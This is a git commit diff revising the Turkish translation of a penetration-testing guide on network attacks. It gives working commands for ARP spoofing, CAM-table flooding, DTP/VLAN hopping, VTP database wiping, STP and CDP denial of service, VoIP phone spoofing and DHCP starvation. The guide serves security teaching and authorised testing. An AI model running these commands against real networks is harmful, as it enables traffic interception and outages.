Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-07-30 04:56:56 +00:00
parent b7d7a1ae51
commit 7bd361cb1a
4 changed files with 282 additions and 79 deletions

View File

@ -21,6 +21,7 @@
- [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md)
- [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md)
- [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md)
- [Telecom Network Exploitation](generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md)
- [WebRTC DoS](generic-methodologies-and-resources/pentesting-network/webrtc-dos.md)
- [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- [Spoofing SSDP and UPnP Devices with EvilSSDP](generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)

View File

@ -21,13 +21,13 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
```
### TCP Port Discovery
Her türlü ICMP paketinin filtrelendiğini bulmak çok yaygındır. O zaman, bir hostun açık olup olmadığını kontrol etmek için yapabileceğiniz tek şey **açık portları bulmaya çalışmaktır**. Her hostun **65535 portu** vardır, bu nedenle "büyük" bir kapsamınız varsa, her hostun **her portunun**ık olup olmadığını test edemezsiniz, bu çok fazla zaman alır.\
Her türlü ICMP paketinin filtrelendiğini bulmak çok yaygındır. O zaman, bir hostun açık olup olmadığını kontrol etmek için yapabileceğiniz tek şey **açık portları bulmaya çalışmaktır**. Her hostun **65535 portu** vardır, bu nedenle "büyük" bir kapsamınız varsa, her hostun **her portunun**ık olup olmadığını test edemezsiniz, bu çok zaman alır.\
O zaman, ihtiyacınız olan şey **hızlı bir port tarayıcısı** ([masscan](https://github.com/robertdavidgraham/masscan)) ve **en çok kullanılan portların** bir listesidir:
```bash
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
```
`nmap` ile bu adımı da gerçekleştirebilirsiniz, ancak daha yavaştır ve `nmap`'in aktif hostları tanımlamada bazı sorunları vardır.
`nmap` ile bu adımı da gerçekleştirebilirsiniz, ancak daha yavaştır ve `nmap`'in açık olan hostları tanımlamada bazı sorunları vardır.
### HTTP Port Keşfi
@ -37,13 +37,13 @@ masscan -p80,443,8000-8100,8443 199.66.11.0/24
```
### UDP Port Discovery
Ayrıca, bir **host'a daha fazla dikkat edip etmeyeceğinizi** belirlemek için bazı **UDP portlarının açık** olup olmadığını kontrol etmeyi deneyebilirsiniz. UDP hizmetleri genellikle boş bir UDP prob paketine **hiçbir veri** ile **yanıt vermediğinden**, bir portun filtrelenip filtrelenmediğini veya açık olup olmadığını söylemek zordur. Bunu belirlemenin en kolay yolu, çalışan hizmetle ilgili bir paket göndermektir ve hangi hizmetin çalıştığını bilmediğiniz için, port numarasına dayalı olarak en olası olanı denemelisiniz:
Ayrıca, bir **host'a daha fazla dikkat edip etmeyeceğinizi** belirlemek için bazı **UDP portlarının açık** olup olmadığını kontrol etmeyi deneyebilirsiniz. UDP hizmetleri genellikle boş bir UDP prob paketi ile **hiçbir veri** ile yanıt vermediğinden, bir portun filtrelenip filtrelenmediğini veya açık olup olmadığını söylemek zordur. Bunu belirlemenin en kolay yolu, çalışan hizmetle ilgili bir paket göndermektir ve hangi hizmetin çalıştığını bilmediğiniz için, port numarasına dayalı olarak en olası olanı denemelisiniz:
```bash
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
```
Önceden önerilen nmap satırı, **/24** aralığındaki her hostta **en iyi 1000 UDP portunu** test edecektir, ancak bu bile **>20dk** sürecektir. **En hızlı sonuçlar** gerekiyorsa [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner) kullanabilirsiniz: `./udp-proto-scanner.pl 199.66.11.53/24` Bu, bu **UDP probelerini** beklenen portlarına gönderecektir (bir /24 aralığı için bu sadece 1 dakika alacaktır): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
Önerilen nmap satırı, **/24** aralığındaki her hostta **en iyi 1000 UDP portunu** test edecektir, ancak bu bile **>20dk** sürecektir. **En hızlı sonuçlar** gerekiyorsa [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner) kullanabilirsiniz: `./udp-proto-scanner.pl 199.66.11.53/24` Bu, bu **UDP probelerini** beklenen **portlarına** gönderecektir (bir /24 aralığı için bu sadece 1 dakika alacaktır): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
### SCTP Port Keşfi
```bash
@ -52,7 +52,7 @@ nmap -T4 -sY -n --open -Pn <IP/range>
```
## Pentesting Wifi
Burada yazıldığı dönemdeki tüm bilinen Wifi saldırılarının güzel bir kılavuzunu bulabilirsiniz:
Burada yazıldığı sırada bilinen tüm Wifi saldırılarının güzel bir kılavuzunu bulabilirsiniz:
{{#ref}}
../pentesting-wifi/
@ -60,7 +60,7 @@ Burada yazıldığı dönemdeki tüm bilinen Wifi saldırılarının güzel bir
## İçeriden hostları keşfetmek
Ağ içindeyseniz, yapmanız gereken ilk şeylerden biri **diğer hostları keşfetmek** olacaktır. **Ne kadar gürültü** yapabileceğinize/istemediğinize bağlı olarak, farklı eylemler gerçekleştirilebilir:
Ağ içinde iseniz, yapmak isteyeceğiniz ilk şeylerden biri **diğer hostları keşfetmek** olacaktır. **Ne kadar gürültü** yapabileceğinize/istemediğinize bağlı olarak, farklı eylemler gerçekleştirilebilir:
### Pasif
@ -75,7 +75,7 @@ set net.show.meta true #more info
```
### Aktif
Dışarıdan hostları keşfetme ile ilgili yorumlanan tekniklerin [_**Discovering hosts from the outside**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) burada da **uygulanabilir**.\
[_**Dışarıdan hostları keşfetme**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Port Discovery_) bölümünde bahsedilen teknikler burada da **uygulanabilir**.\
Ancak, diğer hostlarla **aynı ağda** olduğunuz için **daha fazla şey** yapabilirsiniz:
```bash
#ARP discovery
@ -101,7 +101,7 @@ alive6 <IFACE> # Send a pingv6 to multicast.
_Dışarıdan hostları keşfetme_ (_**ICMP**_](#icmp)) bölümünde bahsedilen tekniklerin burada da **uygulanabileceğini** unutmayın.\
Ancak, diğer hostlarla **aynı ağda** olduğunuz için **daha fazla şey** yapabilirsiniz:
- Eğer bir **alt ağ yayın adresine** **ping** atarsanız, ping **her hosta** ulaşmalı ve onlar da **size yanıt verebilir**: `ping -b 10.10.5.255`
- Eğer bir **alt ağ yayın adresine** **ping** atarsanız, ping **her hosta** ulaşmalı ve **size yanıt verebilir**: `ping -b 10.10.5.255`
- **Ağ yayın adresine** ping atarak **diğer alt ağlar** içindeki hostları bile bulabilirsiniz: `ping -b 255.255.255.255`
- Host keşfi yapmak için `nmap`'in `-PE`, `-PP`, `-PM` bayraklarını kullanarak sırasıyla **ICMPv4 echo**, **zaman damgası** ve **alt ağ maskesi istekleri** gönderin: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
@ -109,7 +109,7 @@ Ancak, diğer hostlarla **aynı ağda** olduğunuz için **daha fazla şey** yap
Wake On Lan, bilgisayarları bir **ağ mesajı** aracılığıyla **açmak için** kullanılır. Bilgisayarı açmak için kullanılan sihirli paket, yalnızca bir **MAC Dst** sağlanan ve ardından aynı paket içinde **16 kez tekrarlanan** bir pakettir.\
Bu tür paketler genellikle **ethernet 0x0842** veya **UDP paketi ile port 9'a** gönderilir.\
Eğer **hiçbir \[MAC]** sağlanmazsa, paket **yayın ethernet**'e gönderilir (ve yayın MAC tekrarlanan olacaktır).
Eğer **hiçbir \[MAC]** sağlanmazsa, paket **yayın ethernet**'e gönderilir (ve yayın MAC, tekrarlanan MAC olacaktır).
```bash
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
@ -182,7 +182,7 @@ nmap-summary-esp.md
### Dahili IP Adreslerini Açığa Çıkarma
**Yanlış yapılandırılmış yönlendiriciler, güvenlik duvarları ve ağ cihazları** bazen **kamusal olmayan kaynak adresleri** kullanarak ağ sorgularına yanıt verir. **tcpdump**, test sırasında özel adreslerden alınan paketleri tanımlamak için kullanılabilir. Özellikle, Kali Linux'ta, paketler **eth2 arayüzünde** yakalanabilir; bu arayüz kamu Internet'inden erişilebilir. Kurulumunuzun bir NAT veya Güvenlik Duvarı arkasında olduğunu belirtmek önemlidir; bu tür paketlerin muhtemelen filtrelenecektir.
**Yanlış yapılandırılmış yönlendiriciler, güvenlik duvarları ve ağ cihazları** bazen **kamusal olmayan kaynak adresleri** kullanarak ağ sorgularına yanıt verir. **tcpdump**, test sırasında özel adreslerden alınan paketleri tanımlamak için kullanılabilir. Özellikle, Kali Linux'ta, paketler **eth2 arayüzünde** yakalanabilir; bu arayüz kamu Internet'inden erişilebilir. Kurulumunuzun bir NAT veya Güvenlik Duvarı arkasında olduğunu belirtmek önemlidir; bu tür paketlerin muhtemelen filtreleneceğini unutmayın.
```bash
tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
@ -228,7 +228,7 @@ Bir pcap veya canlı bir arayüzden kimlik bilgilerini ayrıştırmak için [htt
### ARP sahtekarlığı
ARP Sahtekarlığı, bir makinenin IP'sinin cihazımızın MAC'ine sahip olduğunu belirtmek için gereksiz ARP Yanıtları göndermeyi içerir. Ardından, kurban ARP tablosunu değiştirecek ve IP sahtekarlığı yapmak istediğinde her seferinde cihazımıza başvuracaktır.
ARP Sahtekarlığı, bir makinenin IP'sinin cihazımızın MAC'ine sahip olduğunu belirtmek için gereksiz ARP Yanıtları göndermeyi içerir. Ardından, kurban ARP tablosunu değiştirecek ve sahte IP ile iletişim kurmak istediğinde her seferinde cihazımıza başvuracaktır.
#### **Bettercap**
```bash
@ -250,19 +250,19 @@ Anahtarın CAM tablosunu farklı kaynak MAC adresleriyle birçok paket gönderer
```bash
macof -i <interface>
```
Bu modern anahtarlar için bu güvenlik açığı düzeltilmiştir.
Bu zayıflık modern anahtarlarda düzeltilmiştir.
### 802.1Q VLAN / DTP Saldırıları
#### Dinamik Trunking
**Dinamik Trunking Protokolü (DTP)**, trunking için otomatik bir sistem sağlamak amacıyla bir bağlantı katmanı protokolü olarak tasarlanmıştır ve anahtarların trunk modunu (Trunk) veya non-trunk modunu otomatik olarak seçmelerine olanak tanır. **DTP**'nin kullanımı genellikle suboptimal ağ tasarımının bir göstergesi olarak görülür ve yalnızca gerekli yerlerde trunk'ların manuel olarak yapılandırılmasının ve uygun belgelerin sağlanmasının önemini vurgular.
**Dinamik Trunking Protokolü (DTP)**, trunking için otomatik bir sistem sağlamak amacıyla bir bağlantı katmanı protokolü olarak tasarlanmıştır ve anahtarların trunk modunu (Trunk) veya non-trunk modunu otomatik olarak seçmelerine olanak tanır. **DTP**'nin kullanımı genellikle suboptimal ağ tasarımının bir göstergesi olarak görülür ve trunk'ların yalnızca gerekli yerlerde manuel olarak yapılandırılmasının ve uygun belgelerin sağlanmasının önemini vurgular.
Varsayılan olarak, anahtar portları Dinamik Otomatik modda çalışacak şekilde ayarlanmıştır, bu da komşu bir anahtar tarafından tetiklendiğinde trunking başlatmaya hazır oldukları anlamına gelir. Bir pentester veya saldırgan anahtara bağlandığında ve bir DTP Desirable çerçevesi gönderdiğinde, bir güvenlik sorunu ortaya çıkar; bu, portun trunk moduna girmesine neden olur. Bu eylem, saldırgana STP çerçeve analizi yoluyla VLAN'ları listeleme ve sanal arayüzler kurarak VLAN segmentasyonunu aşma imkanı tanır.
Varsayılan olarak, anahtar portları Dinamik Otomatik modda çalışacak şekilde ayarlanmıştır, bu da komşu bir anahtar tarafından tetiklendiğinde trunking başlatmaya hazır oldukları anlamına gelir. Bir pentester veya saldırgan anahtara bağlandığında ve bir DTP İstenilen çerçevesi gönderdiğinde, portun trunk moduna girmesi sağlanır. Bu eylem, saldırganın STP çerçeve analizi yoluyla VLAN'ları saymasına ve sanal arayüzler kurarak VLAN segmentasyonunu aşmasına olanak tanır.
Birçok anahtarda varsayılan olarak DTP'nin varlığı, düşmanlar tarafından bir anahtarın davranışını taklit etmek için istismar edilebilir ve böylece tüm VLAN'lar üzerindeki trafiğe erişim sağlanabilir. [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) betiği, bir arayüzü izlemek için kullanılır ve bir anahtarın Varsayılan, Trunk, Dinamik, Otomatik veya Erişim modunda olup olmadığını ortaya koyar; sonuncusu VLAN hopping saldırılarına karşı tek koruma sağlayan yapılandırmadır. Bu araç, anahtarın güvenlik açığı durumunu değerlendirir.
Birçok anahtarda varsayılan olarak DTP'nin bulunması, düşmanların bir anahtarın davranışını taklit etmesine ve böylece tüm VLAN'lar üzerindeki trafiğe erişim sağlamasına olanak tanır. [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) betiği, bir arayüzü izlemek için kullanılır ve bir anahtarın Varsayılan, Trunk, Dinamik, Otomatik veya Erişim modunda olup olmadığını gösterir; sonuncusu VLAN hopping saldırılarına karşı tek korumalı yapılandırmadır. Bu araç, anahtarın zayıflık durumunu değerlendirir.
güvenlik açığı tespit edilirse, _**Yersinia**_ aracı DTP protokolü aracılığıyla "trunking'i etkinleştirmek" için kullanılabilir ve bu da tüm VLAN'lardan paketlerin gözlemlenmesine olanak tanır.
zayıflığı tespit edilirse, _**Yersinia**_ aracı DTP protokolü aracılığıyla "trunking'i etkinleştirmek" için kullanılabilir ve bu da tüm VLAN'lardan paketlerin gözlemlenmesine olanak tanır.
```bash
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
@ -275,7 +275,7 @@ yersinia -G #For graphic mode
```
![](<../../images/image (269).png>)
VLAN'ları listelemek için, [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** scripti ile DTP Desirable çerçevesi oluşturmak da mümkündür. **Scripti herhangi bir koşulda durdurmayın. Her üç saniyede bir DTP Desirable enjekte eder. **Anahtardaki dinamik olarak oluşturulan trunk kanalları yalnızca beş dakika boyunca aktiftir. Beş dakikadan sonra, trunk devre dışı kalır.**
VLAN'ları listelemek için, [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)** scripti ile DTP Desirable çerçevesi oluşturmak da mümkündür. **Scripti hbir koşulda durdurmayın. Her üç saniyede bir DTP Desirable enjekte eder. **Anahtardaki dinamik olarak oluşturulan trunk kanalları yalnızca beş dakika boyunca aktiftir. Beş dakikadan sonra trunk devre dışı kalır.**
```
sudo python3 DTPHijacking.py --interface eth0
```
@ -321,15 +321,15 @@ sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30
```
#### Otomatik VLAN Atlama
#### Automatic VLAN Hopper
Tartışılan saldırı olan **Dinamik Trunking ve sanal arayüzler oluşturma ile diğer VLAN'lar içindeki hostları keşfetme** işlemleri, araç tarafından **otomatik olarak gerçekleştirilir**: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
Tartışılan saldırı olan **Dynamic Trunking ve sanal arayüzler oluşturma ve diğer VLAN'lerdeki hostları keşfetme** işlemleri, araç tarafından **otomatik olarak gerçekleştirilir**: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
#### Çift Etiketleme
#### Double Tagging
Eğer bir saldırgan **kurban hostun MAC, IP ve VLAN ID değerlerini** biliyorsa, **çerçeveyi** kendi belirlenen VLAN'ı ve kurbanın VLAN'ını kullanarak **çift etiketleme** yapmayı deneyebilir ve bir paket gönderebilir. **Kurban geri bağlanamayacağı için**, **saldırgan için en iyi seçenek UDP üzerinden iletişim kurmaktır**; bu, bazı ilginç eylemler gerçekleştirebilen protokollerle (örneğin SNMP) iletişim kurmayı sağlar.
Eğer bir saldırgan **kurban hostun MAC, IP ve VLAN ID değerlerini** biliyorsa, **çerçeveyi** kendi belirlenen VLAN'ı ve kurbanın VLAN'ını kullanarak **çift etiketleme** yapmayı deneyebilir ve bir paket gönderebilir. **Kurban geri bağlanamayacağı için**, **saldırgan için en iyi seçenek, bazı ilginç eylemler gerçekleştirebilen protokollerle (örneğin SNMP) UDP üzerinden iletişim kurmaktır.**
Saldırgan için bir diğer seçenek, **saldırgan tarafından kontrol edilen ve kurban tarafından erişilebilen bir IP'yi taklit ederek TCP port taraması başlatmaktır** (muhtemelen internet üzerinden). Ardından, saldırgan, kurbanın bazı paketler alıp almadığını görmek için kendisine ait ikinci hostta dinleme yapabilir.
Saldırgan için bir diğer seçenek, **saldırgan tarafından kontrol edilen ve kurban tarafından erişilebilen bir IP'yi taklit ederek TCP port taraması başlatmaktır** (muhtemelen internet üzerinden). Ardından, saldırgan, kurbanın gönderdiği bazı paketleri alıp almadığını görmek için kendisine ait ikinci hostta dinleme yapabilir.
![](<../../images/image (190).png>)
@ -342,7 +342,7 @@ sendp(packet)
```
#### Lateral VLAN Segmentation Bypass <a href="#d679" id="d679"></a>
Eğer **doğrudan bağlı olduğunuz bir anahtara erişiminiz varsa**, ağ içinde **VLAN segmentasyonunu atlama** yeteneğine sahip olursunuz. Basitçe **portu trunk moduna geçirin** (diğer adıyla trunk), hedef VLAN'ların kimlikleri ile sanal arayüzler oluşturun ve bir IP adresi yapılandırın. Adresi dinamik olarak (DHCP) talep etmeyi deneyebilirsiniz veya statik olarak yapılandırabilirsiniz. Duruma bağlıdır.
Eğer **doğrudan bağlı olduğunuz bir anahtara erişiminiz varsa**, ağ içinde **VLAN segmentasyonunu atlama** yeteneğine sahip olursunuz. Sadece **portu trunk moduna geçirin** (diğer adıyla trunk), hedef VLAN'ların kimlikleri ile sanal arayüzler oluşturun ve bir IP adresi yapılandırın. Adresi dinamik olarak (DHCP) talep etmeyi deneyebilirsiniz veya statik olarak yapılandırabilirsiniz. Duruma bağlıdır.
{{#ref}}
lateral-vlan-segmentation-bypass.md
@ -350,7 +350,7 @@ lateral-vlan-segmentation-bypass.md
#### Layer 3 Private VLAN Bypass
Misafir kablosuz ağlar gibi belirli ortamlarda, **port izolasyonu (özel VLAN olarak da bilinir)** ayarları, bir kablosuz erişim noktasına bağlı istemcilerin doğrudan birbirleriyle iletişim kurmasını önlemek için uygulanır. Ancak, bu izolasyon önlemlerini aşabilen bir teknik tanımlanmıştır. Bu teknik, ya ağ ACL'lerinin yokluğundan ya da yanlış yapılandırılmasından yararlanarak, IP paketlerinin bir yönlendirici üzerinden başka bir istemciye ulaşmasını sağlar.
Belirli ortamlarda, misafir kablosuz ağlar gibi, **port izolasyonu (özel VLAN olarak da bilinir)** ayarları, bir kablosuz erişim noktasına bağlı istemcilerin doğrudan birbirleriyle iletişim kurmasını önlemek için uygulanır. Ancak, bu izolasyon önlemlerini aşabilen bir teknik tanımlanmıştır. Bu teknik, ya ağ ACL'lerinin yokluğundan ya da yanlış yapılandırılmasından yararlanarak, IP paketlerinin bir yönlendirici üzerinden başka bir istemciye ulaşmasını sağlar.
Saldırı, **hedef istemcinin IP adresini taşıyan ancak yönlendiricinin MAC adresi ile birlikte olan bir paket oluşturularak** gerçekleştirilir. Bu, yönlendiricinin paketi yanlışlıkla hedef istemciye iletmesine neden olur. Bu yaklaşım, kurbanın erişebileceği bir ana bilgisayarı kontrol etme yeteneğinin güvenlik açığını istismar etmek için kullanıldığı Double Tagging Saldırıları ile benzerdir.
@ -361,21 +361,21 @@ Saldırı, **hedef istemcinin IP adresini taşıyan ancak yönlendiricinin MAC a
### VTP Attacks
VTP (VLAN Trunking Protocol), VLAN yönetimini merkezileştirir. VLAN veritabanı bütünlüğünü korumak için revizyon numaralarını kullanır; herhangi bir değişiklik bu numarayı artırır. Anahtarlar, kendi VLAN veritabanlarını güncelleyerek daha yüksek revizyon numaralarına sahip yapılandırmaları benimser.
VTP (VLAN Trunking Protocol), VLAN yönetimini merkezileştirir. VLAN veritabanı bütünlüğünü korumak için revizyon numaraları kullanır; herhangi bir değişiklik bu numarayı artırır. Anahtarlar, daha yüksek revizyon numaralarına sahip yapılandırmaları benimser ve kendi VLAN veritabanlarını günceller.
#### VTP Domain Roles
- **VTP Sunucusu:** VLAN'ları yönetir—oluşturur, siler, değiştirir. Alan üyelerine VTP duyuruları yayınlar.
- **VTP İstemcisi:** VLAN veritabanını senkronize etmek için VTP duyurularını alır. Bu rol, yerel VLAN yapılandırma değişikliklerinden kısıtlanmıştır.
- **VTP Şeffaf:** VTP güncellemelerine katılmaz ancak VTP duyurularını iletir. VTP saldırılarından etkilenmez, sıfır olan sabit bir revizyon numarasını korur.
- **VTP Server:** VLAN'ları yönetir—oluşturur, siler, değiştirir. Alan üyelerine VTP duyuruları yayınlar.
- **VTP Client:** VLAN veritabanını senkronize etmek için VTP duyurularını alır. Bu rol, yerel VLAN yapılandırma değişiklikleri yapma yetkisine sahip değildir.
- **VTP Transparent:** VTP güncellemelerine katılmaz ancak VTP duyurularını iletir. VTP saldırılarından etkilenmez, sürekli olarak sıfır revizyon numarasını korur.
#### VTP Advertisement Types
- **Özet Duyurusu:** VTP sunucusu tarafından her 300 saniyede bir yayınlanır ve temel alan bilgilerini taşır.
- **Alt Küme Duyurusu:** VLAN yapılandırma değişikliklerinden sonra gönderilir.
- **Duyuru Talebi:** Daha yüksek bir yapılandırma revizyon numarasını tespit etmesi durumunda, bir VTP istemcisi tarafından Özet Duyurusu talep etmek için verilir.
- **Summary Advertisement:** VTP sunucusu tarafından her 300 saniyede bir yayınlanır ve temel alan bilgilerini taşır.
- **Subset Advertisement:** VLAN yapılandırma değişikliklerinden sonra gönderilir.
- **Advertisement Request:** Daha yüksek bir yapılandırma revizyon numarası tespit edildiğinde, bir VTP istemcisi tarafından bir Summary Advertisement talep etmek için yayınlanır.
VTP zafiyetleri yalnızca trunk portları aracılığıyla istismar edilebilir, çünkü VTP duyuruları yalnızca bu portlar üzerinden dolaşır. DTP saldırı senaryolarından sonra VTP'ye geçiş yapılabilir. Yersinia gibi araçlar, VLAN veritabanını silmeyi hedefleyerek VTP saldırılarını kolaylaştırabilir ve ağı etkili bir şekilde kesintiye uğratabilir.
VTP zafiyetleri yalnızca trunk portları aracılığıyla istismar edilebilir, çünkü VTP duyuruları yalnızca bu portlar üzerinden dolaşır. DTP saldırı senaryolarından sonra VTP'ye geçiş yapılabilir. Yersinia gibi araçlar, VLAN veritabanını silmeyi hedefleyen VTP saldırılarını kolaylaştırabilir ve böylece ağı etkisiz hale getirebilir.
Not: Bu tartışma VTP sürüm 1 (VTPv1) ile ilgilidir.
````bash
@ -385,11 +385,11 @@ Yersinia'nın grafik modunda, VLAN veritabanını temizlemek için tüm VTP VLAN
### STP Saldırıları
**Eğer arayüzlerinizde BPDU çerçevelerini yakalayamazsanız, STP saldırısında başarılı olmanız pek olası değildir.**
**Eğer arayüzlerinizde BPDU çerçevelerini yakalayamazsanız, STP saldırısında başarılı olmanız olası değildir.**
#### **STP BPDU DoS**
Birçok BPDU TCP (Topoloji Değişikliği Bildirimi) veya Conf (topoloji oluşturulduğunda gönderilen BPDU'lar) gönderildiğinde, anahtarlar aşırı yüklenir ve düzgün çalışmayı durdurur.
Birçok BPDU TCP (Topoloji Değişikliği Bildirimi) veya Conf (topoloji oluşturulduğunda gönderilen BPDU'lar) gönderildiğinde, anahtarlar aşırı yüklenir ve doğru çalışmayı durdurur.
```bash
yersinia stp -attack 2
yersinia stp -attack 3
@ -404,7 +404,7 @@ yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
```
#### **STP Root Attack**
Saldırgan, bir anahtarın davranışını simüle ederek ağın STP kökü haline gelir. Ardından, daha fazla veri onun üzerinden geçecektir. Bu, iki farklı anahtara bağlı olduğunuzda ilginçtir.\
Saldırgan, ın STP kökü olmak için bir anahtarın davranışını simüle eder. Ardından, daha fazla veri onun üzerinden geçecektir. Bu, iki farklı anahtara bağlı olduğunuzda ilginçtir.\
Bu, **öncelik** değerinin gerçek kök anahtarın gerçek önceliğinden daha az olduğunu söyleyen BPDUs CONF paketleri göndererek yapılır.
```bash
yersinia stp -attack 4 #Behaves like the root switch
@ -423,7 +423,7 @@ CISCO Discovery Protocol (CDP), CISCO cihazları arasında iletişim için gerek
CDP, bilgileri tüm portlar üzerinden yayınlamak üzere yapılandırılmıştır, bu da bir güvenlik riski oluşturabilir. Bir saldırgan, bir anahtar portuna bağlandığında, **Wireshark**, **tcpdump** veya **Yersinia** gibi ağ dinleyicileri kullanabilir. Bu eylem, ağ cihazı hakkında model ve çalıştığı Cisco IOS sürümü gibi hassas verileri açığa çıkarabilir. Saldırgan, ardından belirlenen Cisco IOS sürümündeki belirli zafiyetleri hedef alabilir.
#### CDP Tablosu Taşması Sağlama <a href="#id-0d6a" id="id-0d6a"></a>
#### CDP Tablosu Taşkınını Tetikleme <a href="#id-0d6a" id="id-0d6a"></a>
Daha agresif bir yaklaşım, anahtarın belleğini aşırı yükleyerek bir Hizmet Reddi (DoS) saldırısı başlatmaktır; bu, meşru CISCO cihazları gibi davranarak yapılır. Aşağıda, Yersinia kullanarak böyle bir saldırıyı başlatmak için gereken komut dizisi bulunmaktadır:
```bash
@ -438,19 +438,19 @@ Bu saldırı sırasında, anahtarın CPU'su ve CDP komşu tablosu ağır bir şe
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
```
You could also use [**scapy**](https://github.com/secdev/scapy/). Be sure to install it with `scapy/contrib` package.
Ayrıca [**scapy**](https://github.com/secdev/scapy/) kullanabilirsiniz. Bunu `scapy/contrib` paketi ile kurduğunuzdan emin olun.
### VoIP Saldırıları ve VoIP Hopper Aracı
VoIP telefonları, giderek IoT cihazlarıyla entegre hale gelerek, kapıları açma veya termostatları kontrol etme gibi işlevler sunar. Ancak, bu entegrasyon güvenlik riskleri oluşturabilir.
VoIP telefonları, giderek IoT cihazlarıyla entegre hale gelerek, özel telefon numaraları aracılığıyla kapıları açma veya termostatları kontrol etme gibi işlevler sunar. Ancak, bu entegrasyon güvenlik riskleri oluşturabilir.
Aracı [**voiphopper**](http://voiphopper.sourceforge.net), çeşitli ortamlarda (Cisco, Avaya, Nortel, Alcatel-Lucent) bir VoIP telefonunu taklit etmek için tasarlanmıştır. Ses ağının VLAN kimliğini CDP, DHCP, LLDP-MED ve 802.1Q ARP gibi protokoller kullanarak keşfeder.
[**voiphopper**](http://voiphopper.sourceforge.net) aracı, çeşitli ortamlarda (Cisco, Avaya, Nortel, Alcatel-Lucent) bir VoIP telefonunu taklit etmek için tasarlanmıştır. Ses ağının VLAN kimliğini CDP, DHCP, LLDP-MED ve 802.1Q ARP gibi protokoller kullanarak keşfeder.
**VoIP Hopper**, Cisco Discovery Protocol (CDP) için üç mod sunar:
1. **Sniff Modu** (`-c 0`): VLAN kimliğini belirlemek için ağ paketlerini analiz eder.
2. **Spoof Modu** (`-c 1`): Gerçek bir VoIP cihazının paketlerini taklit eden özel paketler oluşturur.
3. **Önceden Yapılmış Paket ile Spoof Modu** (`-c 2`): Belirli bir Cisco IP telefon modeliyle aynı olan paketleri gönderir.
3. **Önceden Yapılmış Paket ile Spoof Modu** (`-c 2`): Belirli bir Cisco IP telefon modeli ile aynı olan paketleri gönderir.
Hız için tercih edilen mod üçüncüsüdür. Şunları belirtmek gerekir:
@ -459,9 +459,9 @@ Hız için tercih edilen mod üçüncüsüdür. Şunları belirtmek gerekir:
Kurumsal ortamlarda, mevcut bir VoIP cihazını taklit etmek için şunlar yapılabilir:
- Telefonda MAC etiketini kontrol etmek.
- Telefonun ekran ayarlarını gezerek model bilgilerini görüntülemek.
- VoIP cihazını bir dizüstü bilgisayara bağlayarak Wireshark kullanarak CDP isteklerini gözlemlemek.
- Telefonda MAC etiketini kontrol edin.
- Telefonun ekran ayarlarını gezerek model bilgilerini görüntüleyin.
- VoIP cihazını bir dizüstü bilgisayara bağlayın ve Wireshark kullanarak CDP isteklerini gözlemleyin.
Üçüncü modda aracı çalıştırmak için bir örnek komut:
```bash
@ -489,15 +489,15 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
```
**DoS**
**İki tür DoS** DHCP sunucularına karşı gerçekleştirilebilir. Birincisi, **tüm olası IP adreslerini kullanmak için yeterince sahte host simüle etmektir**.\
Bu saldırı, DHCP sunucusunun yanıtlarını görebiliyorsanız ve protokolü tamamlayabiliyorsanız çalışacaktır (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Örneğin, bu **Wifi ağlarında mümkün değildir**.
**İki tür DoS** DHCP sunucularına karşı gerçekleştirilebilir. Birincisi, **tüm olası IP adreslerini kullanmak için yeterli sahte host simüle etmektir**.\
